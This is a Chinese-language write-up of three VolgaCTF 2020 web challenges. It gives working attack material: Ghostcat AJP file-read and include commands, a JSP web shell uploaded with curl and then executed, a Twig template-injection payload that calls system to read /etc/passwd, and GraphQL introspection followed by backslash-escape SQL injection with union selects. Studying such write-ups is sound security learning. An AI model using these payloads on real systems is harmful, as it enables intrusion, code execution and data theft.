比赛没有怎么认真打,但是毕竟题还是看了的。除了幽灵猫以外的题也是很有价值的,好好学习一波。
NetCorp
这个周末最大的收获就是做了几道java题,对java题的相关套路有了一定了解。
比如此题,开始上来页面并无任何有用信息。唯一能做的从路由下手,这里不使用路径爆破工具的话,可以通过构造一些错误路径来尝试爆版本以及爆服务。这里在bp通过构造爆出了tomcat服务的相关信息。
而且访问/docs
,得到apachetomcat信息,是9.0.24版本。基本确定是道java题,
接下来去搜索相关信息,发现了这样一个漏洞:
CVE-2020-1938 即tomcat的ghostcat漏洞
值得一提的是,ghostcat漏洞是由长亭爆出来的洞,GhostCat 主要是存在文件读取和包含漏洞
影响范围很广,几乎囊括了6-9版本。
我们又知道,文件上传+文件包含=RCE.因此尝试利用相关工具先进行文件读取,看看有无收获。
开始用的exp是这个
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,但是只能读文件不可执行命令。因此作罢。
我后来使用的exp来自https://github.com/00theway/Ghostcat-CNVD-2020-10487
这个exp不仅可以文件读取还可以包含,因此更适合
首先,对tomcat服务必读的文件就是WEB-INF/web.xml
尝试读取python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru 8009 /WEB-INF/web.xml read
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>NetCorp</display-name>
<servlet>
<servlet-name>ServeScreenshot</servlet-name>
<display-name>ServeScreenshot</display-name>
<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServeScreenshot</servlet-name>
<url-pattern>/ServeScreenshot</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ServeComplaint</servlet-name>
<display-name>ServeComplaint</display-name>
<description>Complaint info</description>
<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServeComplaint</servlet-name>
<url-pattern>/ServeComplaint</url-pattern>
</servlet-mapping>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
</web-app>
可以看到除了404.html这样的页面还有两个类的信息。这里可以推断class文件的路径,通过反编译class文件,得到网站源码
我按照roarctf easyjava的经验构造路径,路径勉强算理解,好歹我也是java入门编程的…WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class
,另一个同理。
python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class read -o complaint.class
python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read -o screenshoot.class
反编译后得到以下源码
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: ServeComplaintServlet.java
package ru.volgactf.netcorp;
import java.io.IOException;
import java.io.PrintStream;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.*;
public class ServeComplaintServlet extends HttpServlet
{
public ServeComplaintServlet()
{
System.out.println("ServeScreenshotServlet Constructor called!");
}
public void init(ServletConfig config)
throws ServletException
{
System.out.println("ServeScreenshotServlet \"Init\" method called");
}
public void destroy()
{
System.out.println("ServeScreenshotServlet \"Destroy\" method called");
}
protected void doGet(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
{
}
protected void doPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
{
}
private static final long serialVersionUID = 1L;
private static final String SAVE_DIR = "uploads";
}
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: ServeScreenshotServlet.java
package ru.volgactf.netcorp;
import java.io.*;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Collection;
import java.util.Iterator;
import javax.servlet.*;
import javax.servlet.http.*;
public class ServeScreenshotServlet extends HttpServlet
{
public ServeScreenshotServlet()
{
System.out.println("ServeScreenshotServlet Constructor called!");
}
public void init(ServletConfig config)
throws ServletException
{
System.out.println("ServeScreenshotServlet \"Init\" method called");
}
public void destroy()
{
System.out.println("ServeScreenshotServlet \"Destroy\" method called");
}
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String appPath = request.getServletContext().getRealPath("");
String savePath = (new StringBuilder()).append(appPath).append("uploads").toString();
File fileSaveDir = new File(savePath);
if(!fileSaveDir.exists())
fileSaveDir.mkdir();
String submut = request.getParameter("submit");
if(submut != null)
if(submut.equals("true"));
PrintWriter out = request.getParts().iterator();
do
{
if(!out.hasNext())
break;
Part part = (Part)out.next();
String fileName = extractFileName(part);
fileName = (new File(fileName)).getName();
String hashedFileName = generateFileName(fileName);
String path = (new StringBuilder()).append(savePath).append(File.separator).append(hashedFileName).toString();
if(!path.equals("Error"))
part.write(path);
} while(true);
out = response.getWriter();
response.setContentType("application/json");
response.setCharacterEncoding("UTF-8");
out.print(String.format("{'success':'%s'}", new Object[] {
"true"
}));
out.flush();
}
private String generateFileName(String fileName)
{
String s2;
StringBuilder sb;
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(fileName.getBytes());
byte digest[] = md.digest();
s2 = (new BigInteger(1, digest)).toString(16);
sb = new StringBuilder(32);
int i = 0;
for(int count = 32 - s2.length(); i < count; i++)
sb.append("0");
return sb.append(s2).toString();
NoSuchAlgorithmException e;
e;
e.printStackTrace();
return "Error";
}
private String extractFileName(Part part)
{
String contentDisp = part.getHeader("content-disposition");
String items[] = contentDisp.split(";");
String as[] = items;
int i = as.length;
for(int j = 0; j < i; j++)
{
String s = as[j];
if(s.trim().startsWith("filename"))
return s.substring(s.indexOf("=") + 2, s.length() - 1);
}
return "";
}
private static final String SAVE_DIR = "uploads";
}
主要内容在于ServeScreenshotServlet
这个类。我们得到了上传文件的存在,也就是说可以通过上传+包含构造RCE了。
简单读下源码,其实就是指上传文件会传到/upload
下,同时文件名变为上传文件名的md5值
直接使用curl传文件curl -vv -F "data=@myexp.jsp" http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot
myexp.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
执行python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru 8009 /uploads/78e1e40f057500a0dd0209effb7514d3 eval
注意到flag.txt的存在,那么直解更改命令上传后再次执行即可
Newsletter
这题网上找不到免费的能收邮件的服务器,应该是要个SMTP的。没办法只能学学Twig打ssti的用法了。
题目首先给出看源码
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;
class MainController extends AbstractController
{
public function index(Request $request)
{
return $this->render('main.twig');
}
public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
$mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
$msg = 'Success';
} else {
$msg = 'Invalid email';
}
return $this->render('main.twig', ['msg' => $msg]);
}
public function source()
{
return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
}
}
首先不用说,${name}
这里存在ssti的。同时确认是twig模板的。$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
这句过滤很好绕,只需要6@domain.tld
就可以在收清求的地方看到ssti的效果了。
flag在etc/passwd中
payload:
"{{['cat${IFS}/etc/passwd']|filter('system')}}"@y
因为没法亲自动手所以只好搬运payload了,惭愧…
Library
在注册时可以抓包发现/api的路由
根据传输及返回形式,可以判断出是GrpahQL的api接口,同时也有个经典的利用,就是传{__schema{types{name}}}
,可以通过__schema查询所有可用对象:
尝试直接访问无果,post传值{"query":"{ __schema { types { name } } }"}
(这里要稍微根据之前传值的方式构造一下)
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"String"},{"name":"LoginUser"},{"name":"LoginResponse"},{"name":"UserFilter"},{"name":"User"},{"name":"Book"},{"name":"Mutation"},{"name":"RegisterUser"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
使用如下payload可以一个个的爆出我们可能可以利用的schema的信息{"query":"{ __type(name: \"User\") { name fields { name type { name kind }}}}"}
{"data":{"__type":{"name":"User","fields":[{"name":"login","type":{"name":"String","kind":"SCALAR"}},{"name":"name","type":{"name":"String","kind":"SCALAR"}},{"name":"email","type":{"name":"String","kind":"SCALAR"}}]}}}
这就告诉我们,User object有三个Field.login, name ,email.同理我们爆下其他的,比如重点关注的Query
回显:
{"data":{"__type":{"name":"Query","fields":[{"name":"_empty","type":{"name":"String","kind":"SCALAR"}},{"name":"login","type":{"name":"LoginResponse","kind":"OBJECT"}},{"name":"testGetUsersByFilter","type":{"name":null,"kind":"LIST"}},{"name":"books","type":{"name":null,"kind":"LIST"}}]}}}
发现一个testGetUsersByFilter,似乎很有意思。也许它对可注的点进行了过滤,但这就意味着我们可以进行注入。
于是我们进行基本的查询。此时目标应该是sql注入,寻找可注点。
{"query":"query testGetUsersByFilter($input: UserFilter) {\n testGetUsersByFilter(filter: $input) {\n login email name \n }\n}\n","variables":{"input":{"login":"test","email":"test","name":"test"}}}
构造这样一个查询语句。此时我们需要通过控制login email,name的值来测试是否存在注入
{"query":"query testGetUsersByFilter($input: UserFilter) {\n testGetUsersByFilter(filter: $input) {\n login email name \n }\n}\n","variables":{"input":{"login":"'","email":"1231321","name":"3213"}}}
当尝试sql注入常见的单引号时,发现返回的结果对应的login居然是空的。所以看来单引号被过滤了。但这并不是什么问题。因为逃逸单引号也是个考烂的trick了。
将我们传参部分input的值改为:{"login":"test\\","name":" union select * from users -- "}
发现将返回所有用户名。至此sql注入已经确认可注,接下来就是挖掘信息了。
先order by 测字段数,发现是6个
然后执行查询,发现回显字段是2,6,5union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema=database()#
发现flag表,flag列,查询即可